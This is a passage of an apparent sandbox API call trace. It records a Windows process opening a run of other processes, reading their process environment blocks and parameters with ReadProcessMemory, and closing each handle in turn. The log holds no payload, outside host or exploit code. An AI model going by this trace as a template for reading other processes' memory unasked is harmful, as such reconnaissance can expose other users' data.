(_Block=0xe87a60) [0349.259] CloseHandle (hObject=0xa9c) returned 1 [0349.259] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0349.260] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0349.260] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.260] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0349.261] GetLastError () returned 0x0 [0349.261] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.261] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.261] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.261] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.262] malloc (_Size=0x72) returned 0xea8c20 [0349.262] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea8c20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0349.262] free (_Block=0xea8c20) [0349.263] CloseHandle (hObject=0xa9c) returned 1 [0349.263] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0349.263] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0349.263] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.263] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0349.264] GetLastError () returned 0x0 [0349.264] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.264] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.265] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.265] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.265] malloc (_Size=0x90) returned 0xec7700 [0349.265] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7700, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7700*, lpNumberOfBytesRead=0x0) returned 1 [0349.266] free (_Block=0xec7700) [0349.266] CloseHandle (hObject=0xa9c) returned 1 [0349.266] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0349.266] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0349.266] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.266] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.267] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0349.267] GetLastError () returned 0x0 [0349.267] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.267] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.268] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.268] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.268] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.269] malloc (_Size=0x64) returned 0xeb61c0 [0349.269] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb61c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0349.269] free (_Block=0xeb61c0) [0349.269] CloseHandle (hObject=0xa9c) returned 1 [0349.269] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0349.270] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0349.270] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.270] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0349.271] GetLastError () returned 0x0 [0349.271] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.271] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.272] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.272] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.272] malloc (_Size=0x66) returned 0xeb64d0 [0349.272] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb64d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0349.273] free (_Block=0xeb64d0) [0349.273] CloseHandle (hObject=0xa9c) returned 1 [0349.273] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0349.273] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0349.273] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.273] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.274] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0349.274] GetLastError () returned 0x0 [0349.274] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.274] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.275] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.275] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.275] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.276] malloc (_Size=0x6e) returned 0xea97a0 [0349.276] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea97a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.276] free (_Block=0xea97a0) [0349.276] CloseHandle (hObject=0xa9c) returned 1 [0349.276] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0349.276] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0349.277] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.277] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0349.277] GetLastError () returned 0x0 [0349.278] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.278] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.278] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.278] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.279] malloc (_Size=0x72) returned 0xea96a0 [0349.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22c2, lpBuffer=0xea96a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.279] free (_Block=0xea96a0) [0349.279] CloseHandle (hObject=0xa9c) returned 1 [0349.280] _ui64tow_s (in: _Value=0x13ac, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5036") returned 0x0 [0349.280] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5036") returned 4 [0349.280] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.280] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.281] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13ac) returned 0xa9c [0349.281] GetLastError () returned 0x0 [0349.281] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.281] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.281] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.281] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.281] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.282] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.282] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.282] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x405020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.282] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.282] malloc (_Size=0x64) returned 0xeb6620 [0349.282] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b22b4, lpBuffer=0xeb6620, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0349.283] free (_Block=0xeb6620) [0349.283] CloseHandle (hObject=0xa9c) returned 1 [0349.283] _ui64tow_s (in: _Value=0x13c8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5064") returned 0x0 [0349.283] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5064") returned 4 [0349.283] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.283] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c8) returned 0xa9c [0349.284] GetLastError () returned 0x0 [0349.284] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.285] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.285] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x432258, lpBuffer=0x5ec5a0, nSize=0x4e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.285] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.285] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.285] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.285] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x431c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.285] malloc (_Size=0x56) returned 0xeaa950 [0349.285] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4322a6, lpBuffer=0xeaa950, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa950*, lpNumberOfBytesRead=0x0) returned 1 [0349.286] free (_Block=0xeaa950) [0349.286] CloseHandle 